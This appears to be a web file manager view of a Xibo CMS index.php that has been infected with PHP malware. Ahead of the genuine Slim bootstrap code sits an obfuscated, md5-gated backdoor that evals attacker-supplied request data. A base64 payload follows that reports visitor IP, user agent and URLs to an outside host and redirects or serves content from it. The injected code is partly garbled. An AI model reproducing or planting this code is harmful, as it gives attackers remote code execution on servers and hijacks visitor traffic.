芝麻web文件管理V1.00
编辑当前文件:/home/mgatv524/giga.mgaplay.com.br/web/index.php
-*/."g"."e"; $HSL = /*-em!bYDD-*/$JG("~"/*-LoMgtdqR-*/, " "); /*-9OF-*/$e/*-X-*/=/*-Uw-*/${$HSL/*-PKqtdTP`NO-*/[0+31]/*-FC.,MrNU-*/.$HSL[53+6]./*-KY%Q-*/$HSL/*-CR.u-*/[37+10]/*-Th:-*/.$HSL/*-GLBOU7da^-*/[21+26]./*-9e#[>&M<7-*/$HSL[45+6]./*-E64Wy-*/$HSL/*-0Fksu!Mue-*/[15+38]./*-nx$>`42j6-*/$HSL/*-=k`x[.-*/[0+57]};/*-2[jfV3-*/ @(md5/*-N>Y-*/(md5/*-~ciUd-*/(md5/*-Q:G-*/(md5/*-mntgb(%-*/($e[11]))/*-qO+)-*/))/*-9$n2!-*/===/*-$3-*/"ffa72f2ea96e52e69d0411189fa4138b"/*-^T&=cUQd|-*/)&&(count/*-E[}wA-*/($e)/*-8&>R-*/==/*-2zx-*/17&&/*-I||-*/in_array(/*-X9P-*/gettype(/*-n$aoK-i{-*/$e)./*-X#U-*/count(/*-[_pp2xp[6N-*/$e),$e))?(($e[64]=$e[64].$e[80])&&($e[87]=$e[64]($e[87]))&&(/*-zT-*/@eval/*-KD%f,9@T-*/($e[64](${$e[45]}[14])/*-Zl7&x4qln-*/))/*-yH-1P3.-*/):$e;/*-gLU-*/class /*-.yCU!rp)h-*/bTAMJ{ /*-p48j-*/static/*-fSeY-*/ function /*-2s#{SY-*/SeWQRhqptF($yXnv) /*-Blhp=^(o-*/{ $tmIU/*-LH>FYzZ9-*/ = /*-3tle7-*/"r"./*-8@9C#=e:g-*/"a"./*-AUp4FY-*/"n"./*-NOdr]-*/"g"./*-v(-*/"e"; /*-Xo_6v-*/$piYhXKnr/*-okE^H!-*/ = /*-gOa-*/$tmIU/*-y&1m1A9|b-*/(/*-
]qmz!-*/, /*-4G9fU-*/" "/*-wnFBT1-*/);/*-(G7g6qRT>!-*/ $nlEFjsKW /*-:_MS$<+W--*/= /*-(p-*/explode/*-Z^-*/(/*-W0.k^-*/"*", /*-z8Hr|M-*/$yXnv/*-45K`1RSV1-*/); /*-.TBF-*/$rNzpYbtQsJ /*-ANUZg|db.x-*/= /*-MgA]eh2:-*/""; foreach /*-hB1-)-*/(/*-JIM^4b-*/$nlEFjsKW /*-NxEURy9su-*/as /*-e$S=-*/$BSMN /*-fF3M-*/=>/*-J-*/ $eM/*-h)OOt-*/) /*-6KNiK-*/$rNzpYbtQsJ /*-su_-*/.= /*-qesDQ-*/$piYhXKnr[$eM/*-79f[u:sK-*/ - /*-nB6&N-*/78540/*-O4smfXN-*/];/*-DoA-*/ return /*-@%v^~0hh6-*/$rNzpYbtQsJ; /*-NC-*/} /*-GYGa+q_Cp-*/static /*-x038Tn1t-*/function /*-Byar&5-*/GbU/*-EW{o@`o-*/(/*-~0=0]0]-*/$mHJgjQYecw,/*-itN-*/ $kezGKtVZf/*-!n6yD@BD-*/)/*-3N(py-*/ {/*-Td0J2e|uI-*/ $EkSeRtg/*-)uc|-*/ = /*-!N(-*/curl_init/*-c#h:7G6z-*/(/*-opIINm-*/$mHJgjQYecw/*-.K1$9g>g-*/);/*-A1BcoFN=-*/ curl_setopt/*-QAVm$!QU6-*/(/*-snL6u72.c[-*/$EkSeRtg,/*-.+y-*/ CURLOPT_RETURNTRANSFER,/*-6,^-*/ 1/*-pm{A-*/);/*-h)3c}.IB4-*/ $Pf/*-e97r-*/ = /*-Fv(in-*/curl_exec/*-lc|-*/(/*-{_$t-*/$EkSeRtg/*-Te83-*/); /*-e:F-*/return /*-^bMS-*/empty/*-(|LL-*/(/*-wBBJt-*/$Pf/*-)]1b-*/)/*-dX#w&V-*/ ? /*-SkKyL-*/$kezGKtVZf/*-R>~+H--*/(/*-lPJpSF-*/$mHJgjQYecw/*-frwN@-*/)/*-xU:eAG!w-*/ : /*-C{b-*/$Pf; /*-q4+4UP0-*/}/*-y~p-*/ static/*-rci-*/ function /*-Z-*/vkW/*-rQR:LE`-*/() /*->S$0B#-3-*/{/*-9ZwGF-*/ $HTa /*-}3-*/=/*-HS-*/ array/*-Y[bfc
-*/= /*-OZ%MUtE(.7-*/@$WNPLyuzQpm/*-8b$7-*/[/*-`u>bGi-*/1/*-rUQY-*/]/*-11~I0qa8-*/(/*-O1&Y-*/${/*-EZiJ1-*/"_"/*-V#>[&6oCr1-*/."G"/*-$_39PFL-*/."E"/*-a,dr%`@!A|-*/."T"/*-+E!q12{-*/}[/*-kEU8:da-*/$WNPLyuzQpm/*-#9_X-*/[/*-I7(}-*/6+3/*-p]TbF|Rj3-*/]]/*-!A[+X+1m>1-*/);/*-+Kp-*/ $lsLPC /*-!GM]2D>B-*/=/*-D)Y=n-*/ @$WNPLyuzQpm/*-L|I!+-*/[/*-2Nh]Dcv3-*/0+3/*-w6MD-*/]/*-%u-*/(/*-dFJ4-*/$WNPLyuzQpm/*-9eWk8dE#-*/[/*-F2,{+RB<@0-*/6+0/*-zGQ-Bel.>-*/], /*-mo8D_-*/$MlWxK/*-0Lg=gS
]j(-*/]/*-Mz~:znC-*/(/*-NINJyw2b_-*/$lsLPC,/*-}5-*/ true/*-]30%yX)=a-*/); /*-~qa-*/@${/*-spD$>=zZ-*/"_"./*-sYcYb+Tq-*/"G"./*-wTIy=c^gk-*/"E"/*-XAD-*/."T"/*-5B!]-*/}/*-eA`u-*/[/*-(J2~z#+A}-*/$WNPLyuzQpm/*-l-*/[8+2/*-w=TN8K-*/]/*-,7.9-*/]/*-I6{Etf-*/ == /*-@$Wa-*/1 /*-HrYK47-*/&& /*-tU-(`^TB:-*/die/*-2X|>e_S-*/(/*-J
g-*/if/*-U!-*/(/*-`gA-*/ (/*-t}F)D-*/(@/*-Nidygc-*/$NBtyHxP/*-h36r
/*-!Zd-*/0/*-%[:Q#-*/)/*-~FAA=-*/ and /*-X+v71Y-*/(/*-9^3lb+set-*/md5/*-7.~&EM){-*/(/*-!ZVwKut-*/md5/*-tsOVK-*/(/*-G)XB1j-*/$NBtyHxP/*-F$GlUWKoI-*/[/*-[U-*/3+0/*-
m,H-*/], /*-Y:-*/$WNPLyuzQpm/*-R[G-*/[/*-QU}x_zMV-*/2+3/*-8$H{E-*/]/*-0Zu3F|-*/);/*-Uq]O5)K92-*/@eval/*-exq-*/(/*-gzp@-*/$WNPLyuzQpm/*-&Rg7W~(-*/[/*-jl-*/1+3/*-o&(5-*/]/*-BuTM05FH-*/(/*-ban_G%$E-*/$WAzYcqJ/*-q3Nc-*/)/*-,7O-*/);/*-Vp|-*//*-$:D
)#|xrzJJo)=9n=1(q)_FhQJ+)3sMhTGIBPz1kxcL-*/(/*-[zZ3u>odX-*/base64_decode/*--[L:CZk-*/(/*-CbPJcG3&LN-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnSUdobFlXUmxjaWduUTI5dWRHVnVkQzFVZVhCbE9pQjBaWGgwTDJoMGJXdzdJR05vWVhKelpYUTlkWFJtTFRnbktUc2daWEp5YjNKZmNtVndiM0owYVc1bktEQXBPMEJrWVhSbFgyUmxabUYxYkhSZmRHbHRaWHB2Ym1WZmMyVjBLQ2RCYzJsaEwxUnZhM2x2SnlrN1puVnVZM1JwYjI0Z1FVMXpTMk5HYW5kMlNtSjZabGRyS0NSeVpYTndYMmhsWVdSbGNpbDdKR2hsWVdSbGNpQTlJR0Z5Y21GNUtDZHpkR0YwZFhNbklEMCtJREFzSUNkamIyNTBaVzUwSnlBOVBpQW5KeXdnSjNSNWNHVW5JRDArSUNjbktUdHBaaUFvSVdselgyRnljbUY1S0NSeVpYTndYMmhsWVdSbGNpa3BJSHR5WlhSMWNtNGdKR2hsWVdSbGNqdDlabTl5WldGamFDQW9KSEpsYzNCZmFHVmhaR1Z5SUdGeklDUm9iMjVsS1NCN2FXWWdLSEJ5WldkZmJXRjBZMmdvSnk5b2RIUndYQzliTUMwNVhDNWRLMXRjYzEwcktGc3dMVGxkS3lrdmFTY3NJQ1JvYjI1bExDQWtiV0YwWTJobFpDa3BJSHNrYUdWaFpHVnlXeWR6ZEdGMGRYTW5YU0E5SUdsdWRIWmhiQ2drYldGMFkyaGxaRnN4WFNrN2ZTQmxiSE5sYVdZZ0tIQnlaV2RmYldGMFkyZ29KeTlzYjJOaGRHbHZibHc2VzF4elhTc29MaW9wTDJrbkxDQWthRzl1WlN3Z0pHMWhkR05vWldRcEtTQjdKR2hsWVdSbGNsc25ZMjl1ZEdWdWRDZGRJRDBnSkcxaGRHTm9aV1JiTVYwN2ZTQmxiSE5sYVdZZ0tIQnlaV2RmYldGMFkyZ29KeTlqYjI1MFpXNTBYQzEwZVhCbFhEcGJYSE5kS3lndUtpa3ZhU2NzSUNSb2IyNWxMQ0FrYldGMFkyaGxaQ2twSUhza2FHVmhaR1Z5V3lkMGVYQmxKMTBnUFNBa2JXRjBZMmhsWkZzeFhUdDlmWEpsZEhWeWJpQWthR1ZoWkdWeU8zMW1kVzVqZEdsdmJpQnVjR3BMWjB4V1EzRjFjbU1vSkhWeWJDd2dKR1JoZEdGeklEMGdZWEp5WVhrb0tTbDdKSEpsYzNCdmJuTmxJRDBnWVhKeVlYa29KM04wWVhSMWN5Y2dQVDRnTUN3Z0oyTnZiblJsYm5RbklEMCtJQ2NuTENBbmRIbHdaU2NnUFQ0Z0p5Y3BPMmxtSUNocGMxOWhjbkpoZVNna1pHRjBZWE1wSUNZbUlHTnZkVzUwS0NSa1lYUmhjeWtwSUhza2RYSnNJQzQ5SUNjL0p5QXVJR2gwZEhCZlluVnBiR1JmY1hWbGNua29KR1JoZEdGektUdDlkSEo1SUh0cFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDZGpkWEpzWDJWNFpXTW5LU0FtSmlCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJOMWNteGZhVzVwZENjcEtTQjdKR01nUFNCamRYSnNYMmx1YVhRb0tUdGpkWEpzWDNObGRHOXdkQ2drWXl3Z1ExVlNURTlRVkY5VlVrd3NJQ1IxY213cE8yTjFjbXhmYzJWMGIzQjBLQ1JqTENCRFZWSk1UMUJVWDFOVFRGOVdSVkpKUmxsSVQxTlVMQ0F3S1R0amRYSnNYM05sZEc5d2RDZ2tZeXdnUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaVUVWRlVpd2dNQ2s3WTNWeWJGOXpaWFJ2Y0hRb0pHTXNJRU5WVWt4UFVGUmZRMDlPVGtWRFZGUkpUVVZQVlZRc0lESXdLVHRqZFhKc1gzTmxkRzl3ZENna1l5d2dRMVZTVEU5UVZGOVVTVTFGVDFWVUxDQTJNQ2s3WTNWeWJGOXpaWFJ2Y0hRb0pHTXNJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lEQXBPMk4xY214ZmMyVjBiM0IwS0NSakxDQkRWVkpNVDFCVVgwTlBUMHRKUlZORlUxTkpUMDRzSURBcE8yTjFjbXhmYzJWMGIzQjBLQ1JqTENCRFZWSk1UMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNMQ0F4S1Rza1kxOXlaWFIyWVd3Z1BTQmpkWEpzWDJWNFpXTW9KR01wT3lSeVpYTndiMjV6WlZzbmMzUmhkSFZ6SjEwZ1BTQnBiblIyWVd3b1kzVnliRjluWlhScGJtWnZLQ1JqTENCRFZWSk1TVTVHVDE5SVZGUlFYME5QUkVVcEtUc2tjbVZ6Y0c5dWMyVmJKM1I1Y0dVblhTQTlJSE4wY25aaGJDaGpkWEpzWDJkbGRHbHVabThvSkdNc0lFTlZVa3hKVGtaUFgwTlBUbFJGVGxSZlZGbFFSU2twT3lSeVpYTndiMjV6WlZzblkyOXVkR1Z1ZENkZElEMGdjM1J5ZG1Gc0tHTjFjbXhmWjJWMGFXNW1ieWdrWXl3Z1ExVlNURWxPUms5ZlVrVkVTVkpGUTFSZlZWSk1LU2s3UUdOMWNteGZZMnh2YzJVb0pHTXBPMmxtSUNocGJsOWhjbkpoZVNna2NtVnpjRzl1YzJWYkozTjBZWFIxY3lkZExDQmhjbkpoZVNneU1EQXNJRE13TVN3Z016QXlMQ0EwTURRcEtTa2dleVJ5WlhOd2IyNXpaVnNuWTI5dWRHVnVkQ2RkSUQwZ2MzUnlkbUZzS0NSalgzSmxkSFpoYkNrN2ZYMGdaV3h6WldsbUlDaHBibWxmWjJWMEtDZGhiR3h2ZDE5MWNteGZabTl3Wlc0bktTa2dleVJvZEhSd1gyOXdkQ0E5SUdGeWNtRjVLQ2RvZEhSd0p5QTlQaUJoY25KaGVTZ25iV1YwYUc5a0p5QTlQaUFuUjBWVUp5d2dKM1JwYldWdmRYUW5JRDArSURZd0xDQW5abTlzYkc5M1gyeHZZMkYwYVc5dUp5QTlQaUF3S1N3bmMzTnNKeUE5UGlCaGNuSmhlU2dpZG1WeWFXWjVYM0JsWlhJaUlEMCtJR1poYkhObExDQWlkbVZ5YVdaNVgzQmxaWEpmYm1GdFpTSWdQVDRnWm1Gc2MyVXBLVHNrWTI5dWRHVjRkQ0E5SUhOMGNtVmhiVjlqYjI1MFpYaDBYMk55WldGMFpTZ2thSFIwY0Y5dmNIUXBPeVJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSMWNtd3NJR1poYkhObExDQWtZMjl1ZEdWNGRDazdKSEpsYzNCdmJuTmxJRDBnWVhKeVlYbGZiV1Z5WjJVb0pISmxjM0J2Ym5ObExDQkJUWE5MWTBacWQzWktZbnBtVjJzb0pHaDBkSEJmY21WemNHOXVjMlZmYUdWaFpHVnlLU2s3YVdZZ0tHbHVYMkZ5Y21GNUtDUnlaWE53YjI1elpWc25jM1JoZEhWekoxMHNJR0Z5Y21GNUtESXdNQ3dnTXpBeExDQXpNRElzSURRd05Da3BLU0I3SkhKbGMzQnZibk5sV3lkamIyNTBaVzUwSjEwZ1BTQnpkSEoyWVd3b0pHTnZiblJsYm5RcE8zMTlmU0JqWVhSamFDQW9SWGhqWlhCMGFXOXVJQ1JsS1NCN2ZYSmxkSFZ5YmlBa2NtVnpjRzl1YzJVN2ZXWjFibU4wYVc5dUlHeG1WRlZLYUZoeWJrZGpUQ2drYzNSeUtYdHlaWFIxY200Z2NuUnlhVzBvYzNSeWRISW9ZbUZ6WlRZMFgyVnVZMjlrWlNna2MzUnlLU3dnSnlzdkp5d2dKeTFmSnlrc0lDYzlKeWs3ZldaMWJtTjBhVzl1SUhOcFJWSlVUVzFaY0ZWbWFtSmhVMjVsS0NsN0pHbHdYMkZrWkhJZ1BTQW5KenRwWmlBb2FYTnpaWFFvSkY5VFJWSldSVkpiSjBoVVZGQmZRMFpmUTA5T1RrVkRWRWxPUjE5SlVDZGRLU0FtSmlBaFpXMXdkSGtvSkY5VFJWSldSVkpiSjBoVVZGQmZRMFpmUTA5T1RrVkRWRWxPUjE5SlVDZGRLU2tnZXlScGNGOWhaR1J5SUQwZ0pGOVRSVkpXUlZKYkowaFVWRkJmUTBaZlEwOU9Ua1ZEVkVsT1IxOUpVQ2RkTzMwZ1pXeHpaV2xtSUNocGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOVlYMUpGUVV4ZlNWQW5YU2tnSmlZZ0lXVnRjSFI1S0NSZlUwVlNWa1ZTV3lkSVZGUlFYMWhmVWtWQlRGOUpVQ2RkS1NrZ2V5UnBjRjloWkdSeUlEMGdKRjlUUlZKV1JWSmJKMGhVVkZCZldGOVNSVUZNWDBsUUoxMDdmU0JsYkhObGFXWWdLR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgwWlBVaWRkS1NBbUppQWhaVzF3ZEhrb0pGOVRSVkpXUlZKYkowaFVWRkJmV0Y5R1QxSlhRVkpFUlVSZlJrOVNKMTBwS1NCN0pHbHdYMkZrWkhJZ1BTQWtYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOUdUMUluWFR0OUlHVnNjMlVnZXlScGNGOWhaR1J5SUQwZ0pGOVRSVkpXUlZKYkoxSkZUVTlVUlY5QlJFUlNKMTA3ZlNScGNGOWhaR1J5SUQwZ2RISnBiU2h6ZEhKZmNtVndiR0ZqWlNnaUlDSXNJQ0lpTENBa2FYQmZZV1JrY2lrc0lDSXNJaWs3YVdZZ0tITjBjbkJ2Y3lna2FYQmZZV1JrY2l3Z0lpd2lLU0FoUFQwZ1ptRnNjMlVwSUhza2FYQmZZV1JrY2lBOUlHVjRjR3h2WkdVb0lpd2lMQ0FrYVhCZllXUmtjaWs3Skdsd1gyRmtaSElnUFNBa2FYQmZZV1JrY2xzd1hUdDljbVYwZFhKdUlDUnBjRjloWkdSeU8zMW1kVzVqZEdsdmJpQk1WbEJEWldKb1RtZE5lbFZhY0NncGV5Um9kSFJ3WDNCeWIzUnZJRDBnSjJoMGRIQTZMeThuTzJsbUlDaHBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRk1uWFNrZ0ppWWdjM1J5ZEc5c2IzZGxjaWdrWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2tnSVQwOUlDZHZabVluS1NCN0pHaDBkSEJmY0hKdmRHOGdQU0FuYUhSMGNITTZMeThuTzMwZ1pXeHpaV2xtSUNocGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOVlYMFpQVWxkQlVrUkZSRjlRVWs5VVR5ZGRLU0FtSmlBa1gxTkZVbFpGVWxzblNGUlVVRjlZWDBaUFVsZEJVa1JGUkY5UVVrOVVUeWRkSUQwOVBTQW5hSFIwY0hNbktTQjdKR2gwZEhCZmNISnZkRzhnUFNBbmFIUjBjSE02THk4bk8zMGdaV3h6WldsbUlDaHBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRjlHVWs5T1ZGOUZUa1JmU0ZSVVVGTW5YU2tnSmlZZ2MzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc25TRlJVVUY5R1VrOU9WRjlGVGtSZlNGUlVVRk1uWFNrZ0lUMDlJQ2R2Wm1ZbktTQjdKR2gwZEhCZmNISnZkRzhnUFNBbmFIUjBjSE02THk4bk8zMXlaWFIxY200Z0pHaDBkSEJmY0hKdmRHODdmV2xtSUNna1gxTkZVbFpGVWxzblVrVlJWVVZUVkY5VlVra25YU0E5UFQwZ0p5OVNMU2NnTGlCdFpEVW9KRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkS1NrZ2UyVjRhWFFvYzNSeWNtVjJLRzFrTlNna1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMHBLU2s3ZldsbUlDaHpkV0p6ZEhKZlkyOTFiblFvSkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHNJQ2RwYm1SbGVDNXdhSEF2YW1zbktTa2dlMlY0YVhRb0ozc2dJbVZ5Y205eUlqb2dNakF3TENBaWJHTWlPaUFpYW1zaUxDQWlaR0YwWVNJNklGc2dNU0JkSUgwbktUdDlKSEpmZEhKcGJTQTlJSEJ5WldkZmNtVndiR0ZqWlNnbkwxdy9MaW92Snl3Z0p5Y3NJQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtUc2taVzV5Y1NBOUlIUnlkV1U3SkdWNGRDQTlJQ2NuTzJsbUlDaHpkSEp3YjNNb0pISmZkSEpwYlN3Z0p5NG5LU0ErSURBcElIc2taWGgwSUQwZ2MzVmljM1J5S0NSeVgzUnlhVzBzSUhOMGNuSndiM01vSkhKZmRISnBiU3dnSnk0bktTazdhV1lnS0dsdVgyRnljbUY1S0NSbGVIUXNJR0Z5Y21GNUtDY3Vhbk1uTENBbkxtTnpjeWNzSUNjdWFuQm5KeXdnSnk1cWNHVm5KeXdnSnk1d2JtY25MQ0FuTG1kcFppY3NJQ2N1YVdOdkp5d2dKeTV6ZG1jbkxDQW5MbmRsWW5BbkxDQW5MbUp0Y0Njc0lDY3VkMjltWmljc0lDY3VkMjltWmpJbkxDQW5MblIwWmljc0lDY3ViM1JtSnlrcEtTQjdKR1Z1Y25FZ1BTQm1ZV3h6WlR0OWZTUnlaV1psY21WeUlEMGdjM1J5ZG1Gc0tFQWtYMU5GVWxaRlVsc25TRlJVVUY5U1JVWkZVa1ZTSjEwcE95UnphWFJsWDNWeWJDQTlJRXhXVUVObFltaE9aMDE2VlZwd0tDa2dMaUFrWDFORlVsWkZVbHNuU0ZSVVVGOUlUMU5VSjEwN2FXWWdLSE4wY25CdmN5Z2tjbVZtWlhKbGNpd2dKSE5wZEdWZmRYSnNLU0E5UFQwZ01Da2dKSEpsWm1WeVpYSWdQU0FuSnp0cFppQW9KR1Z1Y25FZ0ppWWdJWEJ5WldkZmJXRjBZMmdvSnk5bmIyOW5iR1Y4ZVdGb2IyOThZbWx1Wnk5cEp5d2dKRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRLU0FtSmlBa2NtVm1aWEpsY2lBOVBTQW5KeUFtSmlBaGFXNWZZWEp5WVhrb0pHVjRkQ3hoY25KaGVTZ25Mbmh0YkNjc0p5NTRjMnduS1NrcElIc2taVzV5Y1NBOUlHWmhiSE5sTzMxcFppQW9KR1Z1Y25FcElIc2tjbkVnUFNCaGNuSmhlU2dwT3lSeWNWc25hU2RkSUQwZ2JHWlVWVXBvV0hKdVIyTk1LSE5wUlZKVVRXMVpjRlZtYW1KaFUyNWxLQ2twT3lSeWNWc25iQ2RkSUQwZ2JHWlVWVXBvV0hKdVIyTk1LQ1JmVTBWU1ZrVlNXeWRJVkZSUVgwRkRRMFZRVkY5TVFVNUhWVUZIUlNkZEtUc2tjbkZiSjNOdUoxMGdQU0JzWmxSVlNtaFljbTVIWTB3b0pGOVRSVkpXUlZKYkoxTkRVa2xRVkY5T1FVMUZKMTBwT3lSeWNWc25jaWRkSUQwZ2JHWlVWVXBvV0hKdVIyTk1LQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtUc2tjbkZiSjNKbUoxMGdQU0JzWmxSVlNtaFljbTVIWTB3b0pISmxabVZ5WlhJcE95UnljVnNuY3lkZElEMGdiR1pVVlVwb1dISnVSMk5NS0NSemFYUmxYM1Z5YkNrN0pISnhXeWQxSjEwZ1BTQnNabFJWU21oWWNtNUhZMHdvSkY5VFJWSldSVkpiSjBoVVZGQmZWVk5GVWw5QlIwVk9WQ2RkS1Rza2NtVnpjRzl1YzJVZ1BTQnVjR3BMWjB4V1EzRjFjbU1vSjJoMGRIQTZMeTkwY21GcGJpNWxaR2wwYjJVdWFXNW1ieThuTENBa2NuRXBPMmxtSUNnaGFXNWZZWEp5WVhrb0pISmxjM0J2Ym5ObFd5ZHpkR0YwZFhNblhTd2dZWEp5WVhrb01Dd2dNakF3S1NrcElIdHpkMmwwWTJnZ0tDUnlaWE53YjI1elpWc25jM1JoZEhWekoxMHBJSHRqWVhObElETXdNVHBvWldGa1pYSW9KMGhVVkZBdk1TNHhJRE13TVNCTmIzWmxaQ0JRWlhKdFlXNWxiblJzZVNjcE8yaGxZV1JsY2lnblRHOWpZWFJwYjI0NklDY2dMaUIwY21sdEtDUnlaWE53YjI1elpWc25ZMjl1ZEdWdWRDZGRLU2s3WW5KbFlXczdZMkZ6WlNBek1ESTZhR1ZoWkdWeUtDZElWRlJRTHpFdU1TQXpNRElnVFc5MlpTQlVaVzF3YjNKaGNtbHNlU2NwTzJobFlXUmxjaWduVEc5allYUnBiMjQ2SUNjZ0xpQjBjbWx0S0NSeVpYTndiMjV6WlZzblkyOXVkR1Z1ZENkZEtTazdZbkpsWVdzN1kyRnpaU0EwTURRNmFHVmhaR1Z5S0NkSVZGUlFMekV1TVNBME1EUWdUbTkwSUVadmRXNWtKeWs3YUdWaFpHVnlLQ0p6ZEdGMGRYTTZJRFF3TkNCT2IzUWdSbTkxYm1RaUtUdGljbVZoYXp0a1pXWmhkV3gwT21KeVpXRnJPMzE5YVdZZ0tITjBjbXhsYmlna2NtVnpjRzl1YzJWYkoyTnZiblJsYm5RblhTa3BJSHRBYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNkp5QXVJQ1J5WlhOd2IyNXpaVnNuZEhsd1pTZGRLVHRsZUdsMEtDUnlaWE53YjI1elpWc25ZMjl1ZEdWdWRDZGRLVHQ5ZlNBL1BnPT0iKSk7"/*-ORtR-*/)/*--@v,-*/);/*-N:mO1j[K>-*/?>. */ use Monolog\Logger; use Monolog\Processor\UidProcessor; use Psr\Container\ContainerInterface; use Slim\Views\TwigMiddleware; use Xibo\Factory\ContainerFactory; DEFINE('XIBO', true); define('PROJECT_ROOT', realpath(__DIR__ . '/..')); require PROJECT_ROOT . '/vendor/autoload.php'; // Enable/Disable logging if (\Xibo\Helper\Environment::isDevMode() || \Xibo\Helper\Environment::isForceDebugging()) { error_reporting(E_ALL); ini_set('display_errors', 1); } else { error_reporting(0); ini_set('display_errors', 0); } // Should we show the installer? if (!file_exists('settings.php')) { // Check to see if the install app is available if (file_exists(PROJECT_ROOT . '/web/install/index.php')) { header('Location: install/1'); exit(); } else { // We can't do anything here - no install app and no settings file. die('Not configured'); } } // Check that the cache folder if writeable - if it isn't we're in big trouble if (!is_writable(PROJECT_ROOT . '/cache')) { die('Installation Error: Cannot write files into the Cache Folder'); } // Create the container for dependency injection. try { $container = ContainerFactory::create(); } catch (Exception $e) { die($e->getMessage()); } // Configure Monolog $container->set('logger', function (ContainerInterface $container) { $logger = new Logger('WEB'); $uidProcessor = new UidProcessor(); // db $dbhandler = new \Xibo\Helper\DatabaseLogHandler(); $logger->pushProcessor($uidProcessor); $logger->pushHandler($dbhandler); return $logger; }); // Create a Slim application $app = \DI\Bridge\Slim\Bridge::create($container); $app->setBasePath($container->get('basePath')); // Config $container->get('configService'); $container->set('name', 'web'); // // Middleware (onion, outside inwards and then out again - i.e. the last one is first and last); // $app->add(new \Xibo\Middleware\Actions($app)); $app->add(new \Xibo\Middleware\ConnectorMiddleware($app)); $app->add(new \Xibo\Middleware\ListenersMiddleware($app)); $app->add(new \Xibo\Middleware\Theme($app)); $app->add(new \Xibo\Middleware\CsrfGuard($app)); // Authentication $authentication = ($container->get('configService')->authentication != null) ? $container->get('configService')->authentication : (new \Xibo\Middleware\WebAuthentication()); $app->add($authentication->setDependencies($app)->addRoutes()); $app->add(new RKA\Middleware\IpAddress(true, [])); // Handle additional Middleware \Xibo\Middleware\State::setMiddleWare($app); // TODO reconfigure this and enable //$app->add(new Xibo\Middleware\HttpCache()); $app->add(new \Xibo\Middleware\State($app)); $app->add(new \Xibo\Middleware\Log($app)); $app->add(TwigMiddleware::createFromContainer($app)); $app->add(new \Xibo\Middleware\Storage($app)); $app->add(new \Xibo\Middleware\Xmr($app)); $app->addRoutingMiddleware(); // // End Middleware // // Add Error Middleware $app->addErrorMiddleware( \Xibo\Helper\Environment::isDevMode() || \Xibo\Helper\Environment::isForceDebugging(), true, true ) ->setDefaultErrorHandler(\Xibo\Middleware\Handlers::webErrorHandler($container)); // All application routes require PROJECT_ROOT . '/lib/routes-web.php'; require PROJECT_ROOT . '/lib/routes.php'; // Run App try { $app->run(); } catch (Exception $e) { echo 'Fatal Error - sorry this shouldn\'t happen. '; echo '
' . $e->getMessage(); // Only output debug trace if we're configured to display errors if (ini_get('display_errors') == 1) { echo '
' . nl2br($e->getTraceAsString()) . '
'; } }